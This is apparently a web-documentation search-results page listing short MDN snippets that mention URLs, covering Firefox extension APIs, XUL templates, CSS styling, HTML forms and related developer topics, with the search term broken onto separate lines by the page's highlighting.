url()); }); } usage: loadimagefile('myimage.
File I/O - Archive of obsolete content
to get a
url of a file, use nsiioservice.newfileuri(): // file is nsifile components.utils.import("resource://gre/modules/services.jsm"); var
url = services.io.newfileuri(file); //
url is a nsiuri; to get the string "file://...", see
url.spec to get an nsifile from the 'file://'
url, use nsifile
url: //
url is a nsiuri; see nsiioservice::newuri for getting a string into a nsiuri.
... var file =
url.queryinterface(components.interfaces.nsifile
url).file; // file is a nsifile to load from file://, http://, chrome://, resource:// and other
urls directly, use xmlhttprequest or netutil.asyncfetch().
... getservice(components.interfaces.nsiioservice); var
url = ios.newuri(afile
url, null, null); if (!
url || !
url.schemeis("file")) throw "expected a file
url."; var pngfile =
url.queryinterface(components.interfaces.nsifile
url).file; var istream = components.classes["@mozilla.org/network/file-input-stream;1"].
Miscellaneous - Archive of obsolete content
using string bundles from javascript assuming the extension has myext.properties with name/value pairs such as: invalid.
url=the speficied
url, %s, is invalid.
...wing manner: var common = { _bundle: components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"), getlocalizedmessage: function(msg) { return this._bundle.getstringfromname(msg); } }; alert(common.getlocalizedmessage("invalid.
url")) another similar alternative (using both getstringfromname and formatstringfromname), is: var fcbundle = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"); function getstr(msg, args){ //get localised message if (args){ args = array.prototy...
...pe.slice.call(arguments, 1); return fcbundle.formatstringfromname(msg,args,args.length); } else { return fcbundle.getstringfromname(msg); } } /* usage */ alert(getstr("invalid.
url", "http://bad/
url/", "3")); //for message with parameters alert(getstr("invalid.
url")); //for message without parameters getting postdata of a webpage first, you need to get the browser you want, and its historysession.
Appendix D: Loading Scripts - Archive of obsolete content
javascript files or
urls may be loaded in this manner by first retrieving their contents into memory using an xmlhttprequest.
... flexibility: the evalinsandbox method accepts several parameters, including the
url, line number, and javascript version of the file from which the code being evaluated was extracted.
... security: sandbox objects are initialized with a security principal object, or otherwise a window or
url from which to derive one.
Security best practices in extensions - Archive of obsolete content
for example, if you load a chrome
url, this means the content has been registered with firefox and has full access.
...the convention for extensions is to use a chrome
url for the site identifier, to avoid clashes with logins for sites.
... non-chrome
urls in chrome xul or html such as the following example are not allowed: <script type="text/javascript" src="http://mysite.greatsite.com/js/wow-content.js" /> in general, scripts that are from remote sources that run in the chrome context are not acceptable, as many times the source of the script can never be 100% guaranteed, and they are vulnerable to man-in-the-middle attacks.
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
data loader component this component is a simple javascript function that sets the src attribute of the hidden iframe, causing it to load an
url (i.e., by establishing a request on the server side): /* triggers the iframe to retrieve new data */ function retrievedata() { bridgeframe.src = data
url; } once a web page is loaded into the iframe, the data binder will be able to get the data from the iframe's page and set the data into the main page's context.
...both netscape 7 and recent versions of internet explorer provide xmlhttprequest interfaces that allow javascript to dynamically load an xml document given a data source
url.
...e fix if(document.all) tagname="nde:"+tagname; valuee=article.getelementsbytagname(tagname).item(0).firstchild.nodevalue; tagname="summary"; // ie fix if(document.all) tagname="nde:"+tagname; paraa=article.getelementsbytagname(tagname).item(0).firstchild.nodevalue; linkk=article.getattribute("
url"); strvalue="<div class='nde-blurb'><h3><a href='"+linkk+"'>"+valuee+"</a></h3><p>"+paraa+"</p></div>"; document.getelementbyid("container").innerhtml+=strvalue; } } if(previousele) { previousele.style.backgroundcolor="white"; } ele.style.backgroundcolor="#ddeeff"; previousele=ele; } var previousele=null; </script> <style> .tab { position:relative;top:1px; border: 1px sol...
No Proxy For configuration - Archive of obsolete content
test each destination in an http:
url.
... all proxied
urls will return errors, all non-proxied connections will be attempted normally (direct connection).
... nsprotocolproxyservice::prefschanged - loads preferences nsprotocolproxyservice::loadfilters - parses filters nsprotocolproxyservice::examineforproxy - decides to check filters if configuration is "manual" nsprotocolproxyservice::canuseproxy - performs
url vs.
Source code directories overview - Archive of obsolete content
it is used for the auto-completion feature on the
url edit box (stored in netscape.hst in mozilla classic) and for the cached pages index (stored in fat.db in mozilla classic).
...this code reads and writes data from and to the local file system, databases, the internet or any other source using a
url-like syntax.
... uriloader contains c interfaces and code for invoking the correct viewer for the content contained at a certain
url.
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
then we'll modify
urls in our files so they point to the right place.
...we need to change some
urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascr...
...ipt" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> we also need to change the
urls in the copy of tinderstatus.css: statusbarpanel#tinderbox-status { list-style-image:
url("chrome://tinderstatus/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image:
url("chrome://tinderstatus/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image:
url("chrome://tinderstatus/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image:
url("chrome://tindersta...
Basics - Archive of obsolete content
titlethe head of the notification message.string bodythe messagestringfalse iconthe
url of an .ico file.string jetpack.notifications.show("hello world");var mybody = " my first message body on jetpack";var myicon = "http://www.mozilla.com/favicon.ico";jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); class tabs in this class you can find information about the tabs in your firefox window.
...methods open(
urlstring)opens a new tab in your browser with a defined
url.
...
urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); ...
Plug-n-Hack Phase1 - Archive of obsolete content
it is up to the tool authors to decide how the
url of the manifest is published.
...this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the
url of the tool manifest.
... for example: var manifest = {"detail":{"
url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions.
Supporting private browsing mode - Archive of obsolete content
note: it is not acceptable for an extension that records things like
urls or domains visited to even offer the option to opt out of private browsing mode.
...for example, if you want to use a different background color for the
url bar when in private browsing mode, you could do the following: [browsingmode=private] #
urlbar { -moz-appearance: none; background: #eee } similarly, if you want to theme the firefox button in firefox 4 differently when private browsing mode is permanent: #main-window[privatebrowsingmode=temporary] #appmenu-button:not(:-moz-window-inactive) { -moz-border-left-colors: rgba(255,255,255,.5) rg...
...the following categories define what's considered "sensitive" data: the
urls of pages the user has visited.
Table Layout Regression Tests - Archive of obsolete content
how the layout regression tests work first the
url's to test are red from rtest.lst files in various directories.
...the
url's to test are red from rtest.lstfor every file in rtest.lst mozilla takes the root frame and dumps the whole tree via nsframe::dumpregression.
...the frame trees are dumped to separate files in a baseline or verify directory for all
url's in rtest.lst (see: nsregressiontester::dumpframemodel).
Using XPInstall to Install Plugins - Archive of obsolete content
often, the smartupdate download was triggered via the plugin
url attribute of the embed tag: <embed type="application/x-randomtype" src="myfile.typ" width="50" height="50" plugin
url="http://mytypecompany.xyz/jarpacks/mytypeplugin.jar"></embed> in the example above, the plugin
url attribute points to the signed jar file, which netscape communicator 4.x would then download (subject to the security dialog boxes) if the plugin was not located on the user's machin...
... triggering an xpinstall download from html in a manner analogous to how smartupdate downloads were initiated by the plugin
url attribute of the embed tag, xpinstall downloads can also be initiated by html tags invoking plugins, notably via the codebase attribute of the object tag.
... link: http://devedge-temp.mozilla.org/view.../index_en.html triggering an xpinstall download from html in a manner analogous to how smartupdate downloads were initiated by the plugin
url attribute of the embed tag, xpinstall downloads can also be initiated by html tags invoking plugins, notably via the codebase attribute of the object tag.
Properties - Archive of obsolete content
and then the rg string to the xpi
url: (e.g.
...
url the fully qualified
url of the xpi (file
url, http
url, ftp
url, etc.) (e.g.
...note, even if triggered using relative
urls this will show the full
url (after qualification).
Multiple Queries - Archive of obsolete content
here is an example using an rdf datasource: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </queryset> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> </query> <action> <image uri="?photo" src="?photo"/> </action...
...here is the previous example rewritten using the simple syntax: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://p
url.org/dc/elements/1.1/"> <template> <rule dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </rule> <rule> <image uri="rdf:*" src="rdf:*"/> </rule> </template> </hbox> the result to the user in this example is the same as the previous example.
... <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://p
url.org/dc/elements/1.1/"> <template dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </template> </hbox> this example shows only a single photo since a condition is used to filter out the other two photos.
Special Condition Tests - Archive of obsolete content
for instance, we might use the following: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule parent="vbox"> <groupbox uri="rdf:*"> <caption label="rdf:http://p
url.org/dc/elements/1.1/title"/> </groupbox> </rule> <rule> <label uri="rdf:*" value="rdf:http://www.xulplanet.com/rdf/address"/> </rule> </template> </vbox> on the first pass, the container where generated content would be inserted is a <vbox>, so the first rule will match and a captioned <groupbox> will be created.
...here is the same example using the extended template syntax: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule parent="vbox"> <binding subject="?item" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <action> <groupbox uri="?item"> <caption label="?title"/> </groupbox> </action> </rule> <rule> <binding subject="?item" predicate="http://www.xulplanet.com/rdf/address" object="?address"/> <action> <label uri="?item" value="?address"/> </action> </rule> </template> </vbox> c...
...<button label="houses in my neighbourhood" type="menu" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule iscontainer="true"> <menupopup> <menu uri="rdf:*" label="rdf:http://p
url.org/dc/elements/1.1/title"/> </menupopup> </rule> <rule> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.xulplanet.com/rdf/address"/> </menupopup> </rule> </template> </button> the only difference in the code in this example is that the order of the rules has been switched around, the condition check for house has been removed and the iscontainer a...
XML Templates - Archive of obsolete content
the datasources attribute should be set to the
url of an xml document, either a local file or a remote web site.
... </template> <listbox> the
url in the datasources attribute may be a relative
url or an absolute
url.
...instead of using a
url for the datasources attribute, you can use an anchor reference to refer to a node within the same document.
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
let button = doc.createelement("toolbarbutton"); button.setattribute("id", button_id); button.setattribute("label", "replace bookmark"); button.setattribute("class", "toolbarbutton-1 chromeclass-toolbar-additional"); button.setattribute("tooltiptext", "replace an existing bookmark"); button.style.liststyleimage = "
url(" + icon + ")"; button.addeventlistener("command", main.action, false); toolbox.palette.appendchild(button); this code is thanks to dgutov and is seen in full context at his repository here at github: dgutov / bmreplace / bootstrap.js.
...e (feel free to add information about other applications): application (theme name) big icon size small icon size firefox 1.0 (winstripe) 24x24 16x16 thunderbird 1.0 (qute) 24x24 16x16 the stylesheet to set the image for your toolbar button, use the following css rules: /* skin/toolbar-button.css */ #myextension-button { list-style-image:
url("chrome://myextension/skin/btn_large.png"); } toolbar[iconsize="small"] #myextension-button { list-style-image:
url("chrome://myextension/skin/btn_small.png"); } applying the stylesheet remember to attach the stylesheet you created to both the overlay file and the customize toolbar window.
... a list of commonly overlayed windows with toolbars
url application and affected window(s) palette id chrome://browser/content/browser.xul firefox - main window browsertoolbarpalette chrome://navigator/content/navigator.xul seamonkey 2.0 - browser window browsertoolbarpalette chrome://messenger/content/messenger.xul thunderbird - main window mailtoolbarpalette chrome://messenger/content/messe...
Code Samples - Archive of obsolete content
change the first line to specify the page that you want to open: const
url = "http://www.mozilla.org/" document .getelementbyid("content") .webnavigation .loaduri(
url, 0, null, null, null) if your button is in thunderbird or sunbird, use code like this to open a web page.
... change the first line to specify the page that you want to open: const
url = "http://www.mozilla.org/" var uri = components .classes["@mozilla.org/network/simple-uri;1"] .getservice(components.interfaces.nsiuri) uri.spec =
url components .classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice) .load
url(uri) compose an e-mail to compose an e-mail, use the same code as in the section open a web page above.
... change the first line to specify: const
url = "mailto://" open an application window to open one of the application's windows, use code like this.
Complete - Archive of obsolete content
where you see a
url in the code with no file name, the application uses this default file name and an extension appropriate for the type of file expected.
...the application's chrome registry converts this
url to the correct dtd file for the locale you are using.
...a preference setting in defaults/preferences/allcustom.js makes the connection between the description and the properties file, specifying the
url: chrome://allcustom/locale/install.properties again, the application's chrome registry converts this
url to the correct file for the locale you are using.
Custom toolbar button - Archive of obsolete content
ste it into the new file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:name="custom button" em:description="my custom toolbar button" em:creator="my name" em:id="custom-toolbar-button@example.com" em:version="1.0" em:homepage
url="http://developer.mozilla.org/en/docs/custom_toolbar_button" em:icon
url="chrome://custombutton/content/icon.png" > <em:targetapplication><!-- firefox --> <description em:id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" em:minversion="1.4" em:maxversion="*" /> </em:targetapplication> <em:targetapplication><!-- thunderbird --> <description e...
...paste it into the new file: #custom-button-1, #wrapper-custom-button-1 {list-style-image:
url("chrome://custombutton/content/button-1.png");} /* common style for all custom buttons */ .custombutton {-moz-image-region: rect( 0px 24px 24px 0px);} .custombutton:hover {-moz-image-region: rect(24px 24px 48px 0px);} [iconsize="small"] .custombutton {-moz-image-region: rect( 0px 40px 16px 24px);} [iconsize="small"] .custombutton:hover {-moz-image-region: rect(24px 40px 40px 24px);}...
...be sure to add the extra code before the c
urly brace on the last line of the file.
Advanced Rules - Archive of obsolete content
for example, a triple exists between a bookmark and its
url.
... this might be expressed as follows: a bookmark to mozilla.org ->
url -> www.mozilla.org this means that there is a triple between the bookmark 'a bookmark to mozilla.org' and 'www.mozilla.org' by the
url property.
...as a triple element, it would be expressed as follows: <triple subject="a bookmark to mozilla.org" predicate="
url" object="www.mozilla.org"/> this has been simplified a bit from the real thing.
Introduction to XBL - Archive of obsolete content
you assign a binding to an element by setting the css property -moz-binding to the
url of the bindings file.
... for example: scrollbar { -moz-binding:
url('chrome://findfile/content/findfile.xml#binding1'); } the
url points to the binding with the id 'binding1' in the file 'chrome://findfile/content/findfile.xml'.
...xul (example.xul): <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="chrome://example/skin/example.css" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box class="okcancelbuttons"/> </window> css (example.css): box.okcancelbuttons { -moz-binding:
url('chrome://example/skin/example.xml#okcancel'); } xbl (example.xml): <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="okcancel"> <content> <xul:button label="ok"/> <xul:button label="cancel"/> </content> </binding> </bindings> this example creates a window with...
More Button Features - Archive of obsolete content
adding an image you can add an image to a button by specifying a
url in the image attribute.
... the image is loaded from the
url, which can be a relative or absolute
url, and then the image is displayed on the button.
...example 2 : source view <button id="find-button" label="find" style="list-style-image:
url('happy.png')"/> in this case, the image 'happy.png' is displayed on the button.
XULBrowserWindow - Archive of obsolete content
method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of
url strings for which chrome is automatically hidden.
... defaults to about:addons but extensions can append specific
urls to the array.
... boolean hidechromeforlocation( in string alocation ); parameters alocation the
url to check to see if chrome should be hidden while that location is displayed.
treecol - Archive of obsolete content
cbox-check.gif isn't available in firefox 1, 2, and 3 on mac os x, so you should specify a
url to an image in your extension or elsewhere.
... */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } for example: create a css file.
...set this to the
url of an image to appear on the tree column header.
Building a Theme - Archive of obsolete content
-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>29.0</em:minversion> <em:maxversion>39.*</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my theme</em:name> <em:internalname>sample</em:internalname> <em:description>a test extension</em:description> <em:creator>your name here</em:creator> <em:homepage
url>http://www.example.com/</em:homepage
url> </description> </rdf> sample@example.net - the id of the extension.
...try typing this
url into the location bar in firefox!
...for example, the line skin browser sample skin/browser/ means "when the user has the sample theme selected, use the directory browser/ to look up skins for the browser package." more concisely, this means that the
url chrome://browser/skin/some/path/file.css will look for a file browser/some/path/file.css in your theme's root directory.
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
thus: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {border: 1px solid #339; border-left: 5px double #339; background: #eec
url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} finishing the style adding the background to the heading containing the name of the fish created three problems: the double border was completely covered up by the image.
... div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; position: relative; z-index: 10; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {margin: 0 0 0 4px; padding: 0.2em 0 1px 150px; border: 1px solid #339; border-left: 5px double #339; background: #eec
url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} note how the image is pushed downward four pixels, while the h3 is pushed rightward four pixels.
... div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} div.card img {float: left; position: relative; z-index: 10; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {margin: 0 0 0 4px; padding: 0.2em 0 1px 150px; border: 1px solid #339; border-left: 5px double #339; background: #eec
url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} div.card p {margin: 0.5em 0.5em 0.5em 160px;} and voila!
Using the Right Markup to Invoke Plugins - Archive of obsolete content
if the flash activex control is not installed, ie will then go to the
url referenced by the codebase attribute and retrieve the activex control.
...here is an example of some javascript which does this: if (window.activexobject) { // browser supports activex // create object element with // download
url for ie ocx document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"'); document.write(' codebase="http://download.macromedia.com'); document.write('/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"'); document.write(' width="366" height="142" id="myflash">'); document.write(' <param name="movie" value="javascript-to-flash.swf" />'); document.write(' <param name="quality"...
...the plugin
url attribute is another attribute that can be used, and it can be used to point directly to an xpinstall file for a more streamlined download.
PAC - MDN Web Docs Glossary: Definitions of Web-related terms
a proxy auto-configuration file (pac file) is a file which contains a function, findproxyfor
url(), which is used by the browser to determine whether requests (including http, https, and ftp) should go directly to the destination or if they need to be forwarded through a web proxy server.
... function findproxyfor
url(
url, host) { /* ...
... */ } ret = findproxyfor
url(
url, host) see proxy auto-configuration (pac) file for details about how these are used and how to create new ones.
Percent-encoding - MDN Web Docs Glossary: Definitions of Web-related terms
percent-encoding is a mechanism to encode 8-bit characters that have specific meaning in the context of
urls.
... it is sometimes called
url encoding.
... ']' '@' '!' '$' '&' "'" '(' ')' '*' '+' ',' ';' '=' '%' ' ' %3a %2f %3f %23 %5b %5d %40 %21 %24 %26 %27 %28 %29 %2a %2b %2c %3b %3d %25 %20 or + depending on the context, the character ' ' is translated to a '+' (like in the percent-encoding version used in an application/x-www-form-
urlencoded message), or in '%20' like on
urls.
Styling links - Learn web development
default styles the following example illustrates what a link will behave like by default (the css is simply enlarging and centering the text to make it stand out more.) <p><a href="#">a simple link</a></p> p { font-size: 2rem; text-align: center; } note: all the links in the examples in this page are fake links — a # (hash, or pound sign) is put in place of the real
url.
...ttp://#">weather on extreme science</a>.</p> next, the css: body { width: 300px; margin: 0 auto; font-family: sans-serif; } p { line-height: 1.4; } a { outline: none; text-decoration: none; padding: 2px 1px 0; } a:link { color: blue; } a:visited { color: purple; } a:focus, a:hover { border-bottom: 1px solid; } a:active { color: red; } a[href*="http"] { background:
url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0; background-size: 16px 16px; padding-right: 19px; } so what's going on here?
...well, if you are writing your html links properly, you should only be using absolute
urls for external links — it is more efficient to use relative links to link to other parts of your own site (as with the first link).
Styling lists - Learn web development
the syntax is pretty simple: ul { list-style-image:
url(star.svg); } however, this property is a bit limited in terms of controlling the position, size, etc.
... in our finished example, we have styled the unordered list like so (on top of what you've already seen above): ul { padding-left: 2rem; list-style-type: none; } ul li { padding-left: 2rem; background-image:
url(star.svg); background-position: 0 0; background-size: 1.6rem 1.6rem; background-repeat: no-repeat; } here we've done the following: set the padding-left of the <ul> down from the default 40px to 20px, then set the same amount on the list items.
...for example, the following css: ul { list-style-type: square; list-style-image:
url(example.png); list-style-position: inside; } could be replaced by this: ul { list-style: square
url(example.png) inside; } the values can be listed in any order, and you can use one, two or all three (the default values used for the properties that are not included are disc, none, and outside).
What is a web server? - Learn web development
an http server is software that understands
urls (web addresses) and http (the protocol your browser uses to view webpages).
... when requesting a file via http, clients must provide the file's
url.
... upon receiving a request, an http server first checks if the requested
url matches an existing file.
Basic native form controls - Learn web development
note: html5 enhanced the basic original single line text field by adding special values for the type attribute that enforce specific validation constraints and other features, for example specific to entering
urls or numbers.
... other text input types, like search,
url, and tel, were added with html5.
... so for example when you click on the image at coordinate (123, 456) and it submits via the get method, you'll see the values appended to the
url as follows: http://foo.com?pos.x=123&pos.y=456 this is a very convenient way to build a "hot map".
The HTML5 input types - Learn web development
url field a special type of field for entering
urls can be created using the value
url for the type attribute: <input type="
url" id="
url" name="
url"> it adds special validation constraints to the field.
... the browser will report an error if no protocol (such as http:) is entered, or if the
url is otherwise malformed.
... see below for an example (taken on firefox for android): note: just because the
url is well-formed doesn't necessarily mean that it refers to a location that actually exists!
Styling web forms - Learn web development
type text,
url, email...), except for <input type="search">.
...if the fontsquirrel output was different to what we described above, you can find the correct @font-face blocks inside your downloaded webfont kit, in the stylesheet.css file (you'll need to replace the below @font-face blocks with them, and update the paths to the font files): @font-face { font-family: 'handwriting'; src:
url('fonts/journal-webfont.woff2') format('woff2'),
url('fonts/journal-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } @font-face { font-family: 'typewriter'; src:
url('fonts/veteran_typewriter-webfont.woff2') format('woff2'),
url('fonts/veteran_typewriter-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } bo...
...dy { font : 1.3rem sans-serif; padding : 0.5em; margin : 0; background : #222; } form { position : relative; width : 740px; height : 498px; margin : 0 auto; padding: 1em; box-sizing: border-box; background : #fff
url(background.jpg); /* we create our grid */ display : grid; grid-gap : 20px; grid-template-columns : repeat(2, 1fr); grid-template-rows : 10em 1em 1em 1em; } notice that we've used some css grid and flexbox to lay out the form.
Your first form - Learn web development
all of its attributes are optional, but it's standard practice to always set at least the action and method attributes: the action attribute defines the location (
url) where the form's collected data should be sent when it is submitted.
...that data will be sent to the
url "/my-handling-form-page" using the http post method.
... on the server side, the script at the
url "/my-handling-form-page" will receive the data as a list of 3 key/value items contained in the http request.
From object to iframe — other embedding technologies - Learn web development
src this attribute, as with <video>/<img>, contains a path pointing to the
url of the document to be embedded.
...(in the best case scenario, your user's web browser will give them a scary warning.) all reputable companies that make content available for embedding via an <iframe> will make it available via https — look at the
urls inside the <iframe> src attribute when you are embedding content from google maps or youtube, for example.
... if you find yourself needing to embed plugin content, this is the kind of information you'll need, at a minimum: <embed> <object>
url of the embedded content src data accurate media type of the embedded content type type height and width (in css pixels) of the box controlled by the plugin height width height width names and values, to feed the plugin as parameters ad hoc attributes with those names and values single-tag <param> elements, contained within <object> ...
Index - Learn web development
29 what is a
url?
... beginner, infrastructure, needsactivelearning,
url, resources,
urls with hypertext and http,
url is one of the key concepts of the web.
... 232 creating hyperlinks beginner, codingscripting, guide, html, http, learn, links, title, absolute, href, hyperlinks, relative,
urls that's it for links, for now anyway!
Looping code - Learn web development
some c
urly braces that contain a block of code — this code will be run each time the loop iterates.
...the keyword directly precedes the c
urly braces containing the code to run and the final expression.
...in a do...while loop, the code inside the c
urly braces is always run once before the check is made to see if it should be executed again (in while and for, the check comes first, so the code might never be executed).
Introduction to the server side - Learn web development
the request includes a
url identifying the affected resource, a method that defines the required action (for example to get, delete, or post the resource), and may include additional information encoded in
url parameters (the field-value pairs sent via a query string), as post data (data sent by the http post method), or in associated cookies.
...when a user wants to navigate to a page, the browser sends an http "get" request specifying its
url.
... a dynamic site can return different data for a
url based on information provided by the user or stored preferences and can perform other operations as part of returning a response (e.g.
Ember resources and troubleshooting - Learn web development
using the design patterns provided by the framework, a route using fetch() would look something like this: import route from '@ember/routing/route'; export default class myroute extends route { async model() { let response = await fetch('some/
url/to/json/data'); let json = await response.json(); return { data: json }; } } see more information on specifying the route's model here.
...controllers are (as of january 2020), the only way to manage
url query params.
... a route represents part of the
url when a user navigates from place to place in the app.
Introduction to client-side frameworks - Learn web development
if the c
urly braces and v- attributes here are unfamiliar to you, that's okay; you’ll learn about vue-specific syntax later on in the module.
...as it does so, the
url in your address bar changes.
... you can save this new
url and come back to the page later on, or share it with others so they can easily find the same page.
Framework main features - Learn web development
the c
urly braces around subject on line 4 tell the application to read the value of the subject constant and insert it into our <h1>.
... like jsx, handlebars uses c
urly braces to inject the value of a variable.
... handlebars uses a double-pair of c
urly braces, instead of a single pair.
Embedding API for Accessibility
open issue: accessibility settings per
url a powerful possibility is that we design an interface for setting certain preferences based on the
url.
...for example, settings per
url would allow a user to accept scripts from their known benign web pages, but not others.
... we have a permissions system for cookies and images based on
url's.
Displaying Places information using views
the following example uses the built-in tree view to display bookmarks whose titles or
urls contain "mozilla".
...the treechildren element should be empty: <tree type="places"> <treecols> <treecol id="title" flex="1" primary="true" /> <treecol id="
url" flex="1" /> </treecols> <treechildren /> </tree> the tree view is implemented in browser/components/places/content/tree.xml.
... the following table shows the mappings between these magic column id values and their corresponding nsinavhistoryresultnode properties: treecol id or anonid corresponding nsinavhistoryresultnode property title title
url uri date time visitcount accesscount keyword * description * dateadded dateadded lastmodified lastmodified tags tags ** icon *keyword and description are looked up in the places database using the nsinavhistoryresultnode property itemid.
Multiple Firefox profiles
mac os x multifirefox by dave martorana profile management determining the profile while firefox is running to determine the profile of a currently-running firefox instance in windows, macos or linux, type about:profiles into the browser
url search bar.
... from profile manager inside firefox if you already have firefox instance running, you can open another profile from the integrated profile manager on any platform: type about:profiles into the browser
url search bar.
... type about:profiles into the browser
url search bar on the page, click create a new profile button read the introduction, and click next enter a profile name for your new profile.
Tracking Protection
when firefox blocks content, it logs a message to the web console like this: the resource at "http://some/
url" was blocked because tracking protection is enabled.
... for example, you should not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(
url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click',
url, { 'transport': 'beacon', 'hitcallback': function() { document.location =
url; } }); } </script> instead, you should account for the case when google analytics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://ww...
...w.example.com', event);"> visit example.com </a> <script> function tracklink(
url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click',
url, { 'transport': 'beacon', 'hitcallback': function() { document.location =
url; } }); } else { document.location =
url; } } </script> more information about this technique is available at google analytics, privacy, and event tracking.
mozbrowserlocationchange
detail the detail property returns an anonymous javascript object with the following properties:
url a domstring representing the
url of the new location.
... example this example updates the
url bar so that it will always display the correct
url for the current location.
... var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserlocationchange', function (event) {
urlbar.value = event.detail.
url; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
HTTP Cache
//github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicachestorageservice.idl "@mozilla.org/netwerk/cache-storage-service;1" provides methods accessing “storage” objects – see nsicachestorage below – giving further access to cache entries – see nsicacheentry more below – per specific
url.
... represents a distinct storage area (or scope) to put and get cache entries mapped by
urls into and from it.
...this both mechanisms ensure thread-safe access and also inability to have more then a single instance of a cacheentry for a single <scope+enhanceid+
url> key.
How to Report a Hung Firefox
type "about:crashes" in the
url bar and click on the top listing.
...type "about:crashes" in the
url bar and click on the top listing.
...type "about:crashes" in the
url bar and click on the top listing.
Add-on Manager
installing new add-ons new add-ons can be installed by using the getinstallforfile() or getinstallfor
url() methods on the addonmanager object.
... these will pass an addoninstall instance to the callback, which can then be used to install the add-on: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getinstallfor
url("http://www.foo.com/test.xpi", function(ainstall) { // ainstall is an instance of addoninstall ainstall.install(); }, "application/x-xpinstall"); the progress of addoninstalls can be monitored using an installlistener.
...you can pass the
url to a page in the add-on manager tab to load that page.
FxAccountsProfileClient.jsm
